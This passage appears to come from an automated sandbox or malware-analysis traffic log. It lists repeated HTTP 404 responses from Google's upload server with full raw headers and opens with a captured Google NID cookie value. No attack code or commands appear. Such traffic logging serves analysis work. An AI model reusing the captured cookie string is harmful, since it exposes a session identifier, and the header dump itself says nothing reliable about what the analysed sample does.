NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM; expires=Tue, 01-Jul-2025 10:35:57 GMT; path=/; domain=.google.com; HttpOnlyAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6QsfvN0XFAJPuyW2cZohGwamupZR-3NhBfwZfId8hoWRXNA31xFdcdcwbCamYUGka9sfIf0J8Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:35:57 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-jyvUoBjvlAeuxqSmTk6WDQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Cross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6cTKeBhd9_cqhYEFdMDgw5qRBPLeq9PWal5o59KpjaqfrfAIZww9YLMf4kMiWqHhRu11u7S4wContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:35:58 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-1m8rdPMaTKKGJ7II6kDjSg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6SlA2lyzGQMKbOPiXdY9eW7qpoQERr3DyZzAzAg7JDObw09FS1FbuyzIDBCw4QvbtRVwIp1lgContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:35:58 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-NSbjd6pOiKL5mYOq3LMq0A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7nkfrw4zWMcA96Tm2wzc5eGnCtNu3sZ16X4Bd1ZXt9Gl4jIokiEUhGHFsdcrp95CJyfk2zrwQContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:36:00 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-wIJHgNbWZcjf-u2dXguz-w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6AF2rbA8qRyXniCRcfQxq8LortFxpl5AlxvpxaR9J4fezOD7GC1KRpem5RxEwDlQV6Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:36:01 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-iyuykCa006bVWdFpk8ae4g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Cross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC69YjcDJuuU8XKAgOHzCeMMuLA1mPS4ll3Cwa_S-PSxqmPUL8gQEevowSyP5qbj3w_HContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:36:01 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'report-sample' 'nonce-BY7XwNwPutxwVpZNLu7yQg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4SZkjsDejK4sGklkzysjFwPTw619WETp2riREnNCpzhuV6sGQ2pnoAEf48Ldojfk-oj_M534gContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:36:02 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-4WUBvEgZPEYkbPyfcWUU7g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4IOpqcoUwQYlR2jhkdNI5F_dXjfkV-KiFQmwfthSeR1SGdFk0kcgo6I8AG5IRcFXBbContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:36:03 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-lyRGvNgpAlMTWpIKsVRDqA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7ab4B4VViXexZXnNIsrUYjghqUgJysFZub8TKu0p9qi4tktUvGGypHgQu0w_TqLo5SAO61pHAContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:36:04 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-YS8uuDpt5RQfQi7mOTB4oA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC702cmuWsXn2m-dcu-WukJu6RTvwK88Zc9rHS1y_V4ytGd7RgO_XJ3ZZAyvSjQt5l3FF3UEKuQContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:36:05 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'report-sample' 'nonce-fZakuaf-B8iCvLRPeDu3_Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5oi5i29iQP001zNMF8CXNgMksE1eZEDcQyAhToSbQErtFJU-V39lo7qwcb0NUnk981Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:36:05 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-PX9-0Bm7Z8f5iqwOWYPEjg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5iASZcT6NwIC-1CiQ2AmelYITs748FqaQubbLNhz21R-_TSTIAEhPLV3Dm57pjihAVscr9Z-YContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:36:06 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-fMVZVNUnRG_TL-jE0oFsvQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6w8KiNPAM8NnUbhRWts8zZTuJ4rdRzjNdRbm9PtjwyvUyXjYsURrF5VevbdMJVdGiIPlupnG4Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:36:06 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-YWxHEBQjzh8qnrkm9ylnng' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC46MJxyTvNUmJpxkJYxaC4HQQmXrfblIoYxBYqYLOhv8qWyZ2Xa8KFZ8rY-YJOG_D7DContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:36:07 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-PulQbfjACG-CGBvQVBi9Ug' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC50WrBUvVBT8TPpLFG7tq1KQB8jI9w5J3rv08P04xSRLp_wjl39Pv_HGMioXQZnoGNLContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:36:07 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-0AZLRlIJ7QpzOh01IAIO5Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4-ILUznPsxscn6A_BvndyEMB5wL-LjkUSqkN8xkao-w5mg3jMATOekOjuJvjneUkwcContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:36:08 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-bSWHPYHT7FsELXaRu34HKg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4rmfEY4Ike4b-cNVQpbOMTT7mXzYPfunRfmn0WirMXH8dWQ6GfRhHKCkeOnOqnc78k5wVs3X4Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:36:09 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-fGmiZ8GbVL8ptBSV4DmuJA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC42b2AxuBfNaZkuZYzUo4NjnozgisAXBuyrU-KcnxmU1R8rKZ3s6Sme1NwcfvzTYTRGContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:36:09 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-eDPxUEMdja1HvDb91tBawA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6fgbHQUxNcXJy246NXrNnAPRoUWAuorDDX9rRnKvzjp0-bhNEJeVhmBv7BuZZ1DwBoContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:36:10 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-l6RzfsO5Iu364I2j4ZIaUw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5_NNTtI3YhGoiDZJTFh_92X5goal0xhS7kT4-KlQqluZOqdhLIa9-1xBKSI5bR2Up5yYeRo_UContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:36:10 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-323h0RAvFX0bKGa9nhr74g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
